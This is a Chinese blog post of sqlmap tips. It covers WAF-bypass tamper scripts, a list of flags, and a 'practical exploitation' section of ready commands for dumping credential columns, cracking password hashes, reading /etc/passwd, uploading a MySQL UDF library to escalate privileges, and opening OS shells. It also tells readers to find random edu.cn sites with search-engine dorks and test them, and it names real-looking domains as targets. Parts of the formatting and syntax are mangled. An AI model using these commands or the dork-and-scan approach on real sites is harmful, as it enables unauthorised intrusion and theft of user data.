sqlmap使用技巧

Sqlmap使用的时候 应该python sqlmap.py 来使用,默认的情况下一般电脑原装2.7
他一般支持五种不同的模式
sqlmap支持五种不同的注入模式:
l 基于布尔的盲注,即可以根据返回页面判断条件真假的注入;
l 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断;
l 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中;
l 联合查询注入,可以使用union的情况下的注入;
l 堆查询注入,可以同时执行多条语句的执行时的注入。

1

. mysql的注释方法进行绕过WAF进行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,"/!0%s" % word) 为:
return match.group().replace(word,"/
!50000%s*/" % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
为:
<castquery=“convert(%s,CHAR)”/>
(3)使用sqlmap进行注入测试
sqlmap.py -u"http://.com/detail.php? id=16" –tamper “halfversionedmorekeywords.py”
其它绕过waf脚本方法:
sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目录下文件具体含义:
space2comment.py用/
/代替空格
apostrophemask.py用utf8代替引号
equaltolike.pylike代替等号
space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)
greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。
space2hash.py空格替换为#号,随机字符串以及换行符
apostrophenullencode.py绕过过滤双引号,替换字符和双引号。
halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论
space2morehash.py空格替换为 #号 以及更多随机字符串 换行符
appendnullbyte.py在有效负荷结束位置加载零字节字符编码
ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替换为其它空符号
base64encode.py 用base64编码替换
space2mssqlhash.py 替换空格
modsecurityversioned.py过滤空格,包含完整的查询版本注释
space2mysqlblank.py 空格替换其它空白符号(mysql)
between.py用between替换大于号(>)
space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)
multiplespaces.py围绕SQL关键字添加多个空格
space2plus.py用+替换空格
bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为like
nonrecursivereplacement.py双重查询语句,取代SQL关键字
space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集
sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾
chardoubleencode.py双url编码(不处理以编码的)
unionalltounion.py替换UNION ALLSELECT UNION SELECT
charencode.py url编码
randomcase.py随机大小写
unmagicquotes.py宽字符绕过 GPCaddslashes
randomcomments.py用//分割sql关键字
charunicodeencode.py字符串 unicode 编码
securesphere.py追加特制的字符串
versionedmorekeywords.py注释绕过
space2comment.py替换空格字符串(‘‘) 使用注释‘/
/’
halfversionedmorekeywords.py关键字前加注释

1.3.4 优化

这些选项可用于优化sqlmap性能
-o 打开所有的优化开关
–predict-output 预测普通查询输出
–keep-alive 使用持久HTTP(S)连接
–null-connection 获取页面长度
–threads=THREADS 当前http(s)最大请求数 (默认 1)

1.3.5 注入

这些选项可用于指定要测试的参数、提供自定义注入有效载荷和可选的篡改脚本。
-p TESTPARAMETER 可测试的参数
–skip=SKIP 跳过对给定参数的测试
–skip-static 跳过测试不显示为动态的参数
–param-exclude=… 使用正则表达式排除参数进行测试(e.g. “ses”)
–dbms=DBMS 强制后端的DBMS为此值
–dbms-cred=DBMS… DBMS认证凭证(user:password)
–os=OS 强制后端的DBMS操作系统为这个值
–invalid-bignum 使用大数字使值无效
–invalid-logical 使用逻辑操作使值无效
–invalid-string 使用随机字符串使值无效
–no-cast 关闭有效载荷铸造机制
–no-escape 关闭字符串逃逸机制
–prefix=PREFIX 注入payload字符串前缀
–suffix=SUFFIX 注入payload字符串后缀
–tamper=TAMPER 使用给定的脚本篡改注入数据

1.3.6 检测

这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容
–level=LEVEL 执行测试的等级(1-5,默认为1)
–risk=RISK 执行测试的风险(0-3,默认为1)
–string=STRING 查询时有效时在页面匹配字符串
–not-string=NOT… 当查询求值为无效时匹配的字符串
–regexp=REGEXP 查询时有效时在页面匹配正则表达式
–code=CODE 当查询求值为True时匹配的HTTP代码
–text-only 仅基于在文本内容比较网页
–titles 仅根据他们的标题进行比较

1.3.8 指纹

f, --fingerprint 执行广泛的DBMS版本指纹检查

1.3.9 枚举

这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行自定义的SQL语句。
-a, --all 获取所有信息
-b, --banner 获取数据库管理系统的标识
–current-user 获取数据库管理系统当前用户
–current-db 获取数据库管理系统当前数据库
–hostname 获取数据库服务器的主机名称
–is-dba 检测DBMS当前用户是否DBA
–users 枚举数据库管理系统用户
–passwords 枚举数据库管理系统用户密码哈希
–privileges 枚举数据库管理系统用户的权限
–roles 枚举数据库管理系统用户的角色
–dbs 枚举数据库管理系统数据库
–tables 枚举的DBMS数据库中的表
–columns 枚举DBMS数据库表列
–schema 枚举数据库架构
–count 检索表的项目数,有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数:sqlmap.py -u url --count -D testdb
–dump 转储数据库表项
–dump-all 转储数据库所有表项
–search 搜索列(S),表(S)和/或数据库名称(S)
–comments 获取DBMS注释
-D DB 要进行枚举的指定数据库名
-T TBL DBMS数据库表枚举
-C COL DBMS数据库表列枚举
-X EXCLUDECOL DBMS数据库表不进行枚举
-U USER 用来进行枚举的数据库用户
–exclude-sysdbs 枚举表时排除系统数据库
–pivot-column=P… Pivot columnname
–where=DUMPWHERE Use WHEREcondition while table dumping
–start=LIMITSTART 获取第一个查询输出数据位置
–stop=LIMITSTOP 获取最后查询的输出数据
–first=FIRSTCHAR 第一个查询输出字的字符获取
–last=LASTCHAR 最后查询的输出字字符获取
–sql-query=QUERY 要执行的SQL语句
–sql-shell 提示交互式SQL的shell
–sql-file=SQLFILE 要执行的SQL文件

1.4 实际利用

1.4.1 检测和利用SQL注入
1.手工判断是否存在漏洞
对动态网页进行安全审计,通过接受动态用户提供的GET、POST、Cookie参数值、User-Agent请求头。
原始网页:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
构造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
构造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
如果url1访问结果跟原始网页一致,而url2跟原始网页不一致,有出错信息或者显示内容不一致,则证明存在SQL注入。
2. sqlmap自动检测
检测语法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
技巧:在实际检测过程中,sqlmap会不停的询问,需要手工输入Y/N来进行下一步操作,可以使用参数“–batch”命令来自动答复和判断。
3. 寻找和判断实例
通过百度对“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”进行搜索,搜索news.php/asp/aspx,站点为edu.cn,如图1所示。随机打开一个网页搜索结果,如图2所示,如果能够正常访问,则复制该URL地址。
在这里插入图片描述

图1搜索目标
在这里插入图片描述

图2测试网页能否正常访问
将该url使用sqlmap进行注入测试,如图3所示,测试结果可能存在SQL注入,也可能不存在SQL注入,存在则可以进行数据库名称,数据库表以及数据的操作。本例中是不存在SQL注入漏洞。
在这里插入图片描述

图3检测URL地址是否存在漏洞
4. 批量检测
将目标url搜集并整理为txt文件,如图4所示,所有文件都保存为tg.txt,然后

  1. URL重写SQL注入测试
    value1为测试参数,加“”即可,sqlmap将会测试value1的位置是否可注入。
    sqlmap.py -u"http://targeturl/param1/value1
    /param2/value2/"
  2. 列举并破解密码哈希值
      当前用户有权限读取包含用户密码的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。
    sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1
  3. 获取表中的数据个数
    sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb
    5.对网站secbang.com进行漏洞爬去
    sqlmap.py -u “http://www.secbang.com”–batch --crawl=3
    6.基于布尔SQL注入预估时间
    sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1”-b --eta
    7.使用hex避免字符编码导致数据丢失
    sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” --banner --hex -v 3 --parse-errors
    8.模拟测试手机环境站点
    python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile
    9.智能判断测试
    sqlmap.py -u “http://www.antian365.com/info.php?id=1”–batch --smart
    10.结合burpsuite进行注入
    (1)burpsuite抓包,需要设置burpsuite记录请求日志
    sqlmap.py -r burpsuite抓包.txt
    (2)指定表单注入
    sqlmap.py -u URL --data“username=a&password=a”
    11.sqlmap自动填写表单注入
    自动填写表单:
    sqlmap.py -u URL --forms
    sqlmap.py -u URL --forms --dbs
    sqlmap.py -u URL --forms --current-db
    sqlmap.py -u URL --forms -D 数据库名称–tables
    sqlmap.py -u URL --forms -D 数据库名称 -T 表名 --columns
    sqlmap.py -u URL --forms -D 数据库名称 -T 表名 -Cusername,password --dump
    12.读取linux下文件
     sqlmap.py-u “url” --file /etc/password
    13.延时注入
    sqlmap.py -u URL --technique -T–current-user
  4. sqlmap 结合burpsuite进行post注入
    结合burpsuite来使用sqlmap:
    (1)浏览器打开目标地址http://www.antian365.com
    (2)配置burp代理(127.0.0.1:8080)以拦截请求
    (3)点击登录表单的submit按钮
    (4)Burp会拦截到了我们的登录POST请求
    (5)把这个post请求复制为txt, 我这命名为post.txt 然后把它放至sqlmap目录下
    (6)运行sqlmap并使用如下命令:
    ./sqlmap.py -r post.txt -p tfUPass
    15.sqlmap cookies注入
    sqlmap.py -u “http://127.0.0.1/base.PHP”–cookies “id=1”  –dbs –level 2
    默认情况下SQLMAP只支持GET/POST参数的注入测试,但是当使用–level 参数且数值>=2的时候也会检查cookie里面的参数,当>=3的时候将检查User-agent和Referer。可以通过burpsuite等工具获取当前的cookie值,然后进行注入:
    sqlmap.py -u 注入点URL --cookie"id=xx" --level 3
    sqlmap.py -u url --cookie “id=xx”–level 3 --tables(猜表名)
    sqlmap.py -u url --cookie “id=xx”–level 3 -T 表名 --coiumns
    sqlmap.py -u url --cookie “id=xx”–level 3 -T 表名 -C username,password --dump
     16.mysql提权
    (1)连接mysql数据打开一个交互shell:
    sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell
    select @@version;
    select @@plugin_dir;
    d:\wamp2.5\bin\mysql\mysql5.6.17\lib\plugin\
    (2)利用sqlmap上传lib_mysqludf_sys到MySQL插件目录:
    sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll–file-dest=d:\wamp2.5\bin\mysql\mysql5.6.17\lib\plugin\lib_mysqludf_sys.dll
    CREATE FUNCTION sys_exec RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’
    CREATE FUNCTION sys_eval RETURNS STRINGSONAME ‘lib_mysqludf_sys.dll’
    select sys_eval(‘ver’);
    17.执行shell命令
    sqlmap.py -u “url” –os-cmd=“netuser” /执行net user命令/
    sqlmap.py -u “url” –os-shell /系统交互的shell/
    18.延时注入
    sqlmap –dbs -u"url" –delay 0.5 /延时0.5秒/
    sqlmap –dbs -u"url" –safe-freq /请求2次/
  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值